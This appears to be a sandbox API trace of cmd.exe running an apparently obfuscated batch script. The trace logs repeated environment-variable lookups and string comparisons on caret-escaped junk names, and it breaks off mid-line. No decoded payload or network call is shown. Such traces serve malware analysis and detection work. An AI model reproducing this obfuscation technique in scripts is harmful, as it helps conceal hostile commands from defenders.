[0102.139] _wcsicmp (_String1="^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^", _String2="ERRORLEVEL") returned -7 [0102.139] _wcsicmp (_String1="^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^", _String2="CMDEXTVERSION") returned -5 [0102.139] _wcsicmp (_String1="^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^", _String2="CMDCMDLINE") returned -5 [0102.139] _wcsicmp (_String1="^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^", _String2="DATE") returned -6 [0102.139] _wcsicmp (_String1="^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^", _String2="TIME") returned -22 [0102.139] _wcsicmp (_String1="^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^", _String2="RANDOM") returned -20 [0102.139] _wcsicmp (_String1="^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^", _String2="HIGHESTNUMANODENUMBER") returned -10 [0102.139] GetEnvironmentVariableW (in: lpName="^R^en^6^w^L^P^jy^{^7^y^j^U^6^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0102.139] _wcsicmp (_String1="^R^en^6^w^L^P^jy^{^7^y^j^U^6^", _String2="CD") returned -5 [0102.139] _wcsicmp (_String1="^R^en^6^w^L^P^jy^{^7^y^j^U^6^", _String2="ERRORLEVEL") returned -7 [0102.139] _wcsicmp (_String1="^R^en^6^w^L^P^jy^{^7^y^j^U^6^", _String2="CMDEXTVERSION") returned -5 [0102.139] _wcsicmp (_String1="^R^en^6^w^L^P^jy^{^7^y^j^U^6^", _String2="CMDCMDLINE") returned -5 [0102.139] _wcsicmp (_String1="^R^en^6^w^L^P^jy^{^7^y^j^U^6^", _String2="DATE") returned -6 [0102.139] _wcsicmp (_String1="^R^en^6^w^L^P^jy^{^7^y^j^U^6^", _String2="TIME") returned -22 [0102.139] _wcsicmp (_String1="^R^en^6^w^L^P^jy^{^7^y^j^U^6^", _String2="RANDOM") returned -20 [0102.139] _wcsicmp (_String1="^R^en^6^w^L^P^jy^{^7^y^j^U^6^", _String2="HIGHESTNUMANODENUMBER") returned -10 [0102.139] GetEnvironmentVariableW (in: lpName="^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0102.139] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^", _String2="CD") returned -5 [0102.139] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^", _String2="ERRORLEVEL") returned -7 [0102.139] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^", _String2="CMDEXTVERSION") returned -5 [0102.139] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^", _String2="CMDCMDLINE") returned -5 [0102.139] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^", _String2="DATE") returned -6 [0102.140] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^", _String2="TIME") returned -22 [0102.140] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^", _String2="RANDOM") returned -20 [0102.140] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^", _String2="HIGHESTNUMANODENUMBER") returned -10 [0102.140] GetEnvironmentVariableW (in: lpName="^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0102.140] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^", _String2="CD") returned -5 [0102.140] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^", _String2="ERRORLEVEL") returned -7 [0102.140] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^", _String2="CMDEXTVERSION") returned -5 [0102.140] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^", _String2="CMDCMDLINE") returned -5 [0102.140] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^", _String2="DATE") returned -6 [0102.140] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^", _String2="TIME") returned -22 [0102.140] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^", _String2="RANDOM") returned -20 [0102.140] _wcsicmp (_String1="^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^", _String2="HIGHESTNUMANODENUMBER") returned -10 [0102.140] GetEnvironmentVariableW (in: lpName="^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0102.141] _wcsicmp (_String1="^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^", _String2="CD") returned -5 [0102.141] _wcsicmp (_String1="^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^", _String2="ERRORLEVEL") returned -7 [0102.141] _wcsicmp (_String1="^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^", _String2="CMDEXTVERSION") returned -5 [0102.141] _wcsicmp (_String1="^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^", _String2="CMDCMDLINE") returned -5 [0102.141] _wcsicmp (_String1="^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^", _String2="DATE") returned -6 [0102.141] _wcsicmp (_String1="^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^", _String2="TIME") returned -22 [0102.141] _wcsicmp (_String1="^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^", _String2="RANDOM") returned -20 [0102.141] _wcsicmp (_String1="^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^", _String2="HIGHESTNUMANODENUMBER") returned -10 [0102.141] GetEnvironmentVariableW (in: lpName="z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0102.141] _wcsicmp (_String1="z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^", _String2="CD") returned 23 [0102.141] _wcsicmp (_String1="z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^", _String2="ERRORLEVEL") returned 21 [0102.141] _wcsicmp (_String1="z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^", _String2="CMDEXTVERSION") returned 23 [0102.141] _wcsicmp (_String1="z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^", _String2="CMDCMDLINE") returned 23 [0102.141] _wcsicmp (_String1="z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^", _String2="DATE") returned 22 [0102.141] _wcsicmp (_String1="z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^", _String2="TIME") returned 6 [0102.141] _wcsicmp (_String1="z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^", _String2="RANDOM") returned 8 [0102.141] _wcsicmp (_String1="z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^", _String2="HIGHESTNUMANODENUMBER") returned 18 [0102.141] GetEnvironmentVariableW (in: lpName="R^en6w^L^P^j^y^{^7^y^jU^6^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0102.141] _wcsicmp (_String1="R^en6w^L^P^j^y^{^7^y^jU^6^", _String2="CD") returned 15 [0102.142] _wcsicmp (_String1="R^en6w^L^P^j^y^{^7^y^jU^6^", _String2="ERRORLEVEL") returned 13 [0102.142] _wcsicmp (_String1="R^en6w^L^P^j^y^{^7^y^jU^6^", _String2="CMDEXTVERSION") returned 15 [0102.142] _wcsicmp (_String1="R^en6w^L^P^j^y^{^7^y^jU^6^", _String2="CMDCMDLINE") returned 15 [0102.142] _wcsicmp (_String1="R^en6w^L^P^j^y^{^7^y^jU^6^", _String2="DATE") returned 14 [0102.142] _wcsicmp (_String1="R^en6w^L^P^j^y^{^7^y^jU^6^", _String2="TIME") returned -2 [0102.142] _wcsicmp (_String1="R^en6w^L^P^j^y^{^7^y^jU^6^", _String2="RANDOM") returned -3 [0102.142] _wcsicmp (_String1="R^en6w^L^P^j^y^{^7^y^jU^6^", _String2="HIGHESTNUMANODENUMBER") returned 10 [0102.142] GetEnvironmentVariableW (in: lpName="^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0102.142] _wcsicmp (_String1="^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^", _String2="CD") returned -5 [0102.142] _wcsicmp (_String1="^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^", _String2="ERRORLEVEL") returned -7 [0102.142] _wcsicmp (_String1="^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^", _String2="CMDEXTVERSION") returned -5 [0102.142] _wcsicmp (_String1="^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^", _String2="CMDCMDLINE") returned -5 [0102.142] _wcsicmp (_String1="^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^", _String2="DATE") returned -6 [0102.142] _wcsicmp (_String1="^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^", _String2="TIME") returned -22 [0102.142] _wcsicmp (_String1="^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^", _String2="RANDOM") returned -20 [0102.142] _wcsicmp (_String1="^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^", _String2="HIGHESTNUMANODENUMBER") returned -10 [0102.142] GetEnvironmentVariableW (in: lpName="^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0102.142] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^", _String2="CD") returned -5 [0102.142] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^", _String2="ERRORLEVEL") returned -7 [0102.142] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^", _String2="CMDEXTVERSION") returned -5 [0102.142] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^", _String2="CMDCMDLINE") returned -5 [0102.142] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^", _String2="DATE") returned -6 [0102.142] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^", _String2="TIME") returned -22 [0102.142] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^", _String2="RANDOM") returned -20 [0102.142] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^", _String2="HIGHESTNUMANODENUMBER") returned -10 [0102.143] GetEnvironmentVariableW (in: lpName="^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0102.143] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^", _String2="CD") returned -5 [0102.143] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^", _String2="ERRORLEVEL") returned -7 [0102.143] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^", _String2="CMDEXTVERSION") returned -5 [0102.143] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^", _String2="CMDCMDLINE") returned -5 [0102.143] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^", _String2="DATE") returned -6 [0102.143] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^", _String2="TIME") returned -22 [0102.143] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^", _String2="RANDOM") returned -20 [0102.143] _wcsicmp (_String1="^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^", _String2="HIGHESTNUMANODENUMBER") returned -10 [0102.143] GetEnvironmentVariableW (in: lpName="^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0102.143] _wcsicmp (_String1="^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^", _String2="CD") returned -5 [0102.143] _wcsicmp (_String1="^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^", _String2="ERRORLEVEL") returned -7 [0102.143] _wcsicmp (_String1="^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^", _String2="CMDEXTVERSION") returned -5 [0102.143] _wcsicmp (_String1="^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^", _String2="CMDCMDLINE") returned -5 [0102.143] _wcsicmp (_String1="^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^", _String2="DATE") returned -6 [0102.143] _wcsicmp (_String1="^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^", _String2="TIME") returned -22 [0102.143] _wcsicmp (_String1="^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^", _String2="RANDOM") returned -20 [0102.143] _wcsicmp (_String1="^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^", _String2="HIGHESTNUMANODENUMBER") returned -10 [0102.143] GetEnvironmentVariableW (in: lpName="^R^en^6^w^L^P^j^y^{^7^y^j^U6^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0102.144] _wcsicmp (_String1="^R^en^6^w^L^P^j^y^{^7^y^j^U6^", _String2="CD") returned -5 [0102.144] _wcsicmp (_String1="^R^en^6^w^L^P^j^y^{^7^y^j^U6^", _String2="ERRORLEVEL") returned -7 [0102.144] _wcsicmp (_String1="^R^en^6^w^L^P^j^y^{^7^y^j^U6^", _String2="CMDEXTVERSION") returned -5 [0102.144] _wcsicmp (_String1="^R^en^6^w^L^P^j^y^{^7^y^j^U6^", _String2="CMDCMDLINE") returned -5 [0102.144] _wcsicmp (_String1="^R^en^6^w^L^P^j^y^{^7^y^j^U6^", _String2="DATE") returned -6 [0102.144] _wcsicmp (_String1="^R^en^6^w^L^P^j^y^{^7^y^j^U6^", _String2="TIME") returned -22 [0102.144] _wcsicmp (_String1="^R^en^6^w^L^P^j^y^{^7^y^j^U6^", _String2="RANDOM") returned -20 [0102.144] _wcsicmp (_String1="^R^en^6^w^L^P^j^y^{^7^y^j^U6^", _String2="HIGHESTNUMANODENUMBER") returned -10 [0102.144] GetEnvironmentVariableW (in: lpName="^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0102.144] _wcsicmp (_String1="^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^", _String2="CD") returned -5 [0102.144] _wcsicmp (_String1="^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^", _String2="ERRORLEVEL") returned -7 [0102.144] _wcsicmp (_String1="^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^", _String2="CMDEXTVERSION") returned -5 [0102.144] _wcsicmp (_String1="^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^", _String2="CMDCMDLINE") returned -5 [0102.144] _wcsicmp (_String1="^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^", _String2="DATE") returned -6 [0102.144] _wcsicmp (_String1="^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^", _String2="TIME") returned -22 [0102.144] _wcsicmp (_String1="^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^", _String2="RANDOM") returned -20 [0102.144] _wcsicmp (_String1="^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^", _String2="HIGHESTNUMANODENUMBER") returned -10 [0102.144] GetEnvironmentVariableW (in: lpName=".^Y^.^Y^6^j^U^e/`^6^K^w^L^,^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0102.144] _wcsicmp (_String1=".^Y^.^Y^6^j^U^e/`^6^K^w^L^,^", _String2="CD") returned -53 [0102.144] _wcsicmp (_String1=".^Y^.^Y^6^j^U^e/`^6^K^w^L^,^", _String2="ERRORLEVEL") returned -55 [0102.145] _wcsicmp (_String1=".^Y^.^Y^6^j^U^e/`^6^K^w^L^,^", _String2="CMDEXTVERSION") returned -53 [0102.145] _wcsicmp (_String1=".^Y^.^Y^6^j^U^e/`^6^K^w^L^,^", _String2="CMDCMDLINE") returned -53 [0102.145] _wcsicmp (_String1=".^Y^.^Y^6^j^U^e/`^6^K^w^L^,^", _String2="DATE") returned -54 [0102.145] _wcsicmp (_String1=".^Y^.^Y^6^j^U^e/`^6^K^w^L^,^", _String2="TIME") returned -70 [0102.145] _wcsicmp (_String1=".^Y^.^Y^6^j^U^e/`^6^K^w^L^,^", _String2="RANDOM") returned -68 [0102.145] _wcsicmp (_String1=".^Y^.^Y^6^j^U^e/`^6^K^w^L^,^", _String2="HIGHESTNUMANODENUMBER") returned -58 [0102.145] GetEnvironmentVariableW (in: lpName="^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0102.145] _wcsicmp (_String1="^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^", _String2="CD") returned -5 [0102.145] _wcsicmp (_String1="^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^", _String2="ERRORLEVEL") returned -7 [0102.145] _wcsicmp (_String1="^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^", _String2="CMDEXTVERSION") returned -5 [0102.145] _wcsicmp (_String1="^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^", _String2="CMDCMDLINE") returned -5 [0102.145] _wcsicmp (_String1="^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^", _String2="DATE") returned -6 [0102.145] _wcsicmp (_String1="^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^", _String2="TIME") returned -22 [0102.145] _wcsicmp (_String1="^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^", _String2="RANDOM") returned -20 [0102.145] _wcsicmp (_String1="^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^", _String2="HIGHESTNUMANODENUMBER") returned -10 [0102.145] GetEnvironmentVariableW (in: lpName="^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0102.145] _wcsicmp (_String1="^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^", _String2="CD") returned -5 [0102.145] _wcsicmp (_String1="^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^", _String2="ERRORLEVEL") returned -7 [0102.145] _wcsicmp (_String1="^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^", _String2="CMDEXTVERSION") returned -5 [0102.145] _wcsicmp (_String1="^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^", _String2="CMDCMDLINE") returned -5 [0102.145] _wcsicmp (_String1="^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^", _String2="DATE") returned -6 [0102.145] _wcsicmp (_String1="^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^", _String2="TIME") returned -22 [0102.146] _wcsicmp (_String1="^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 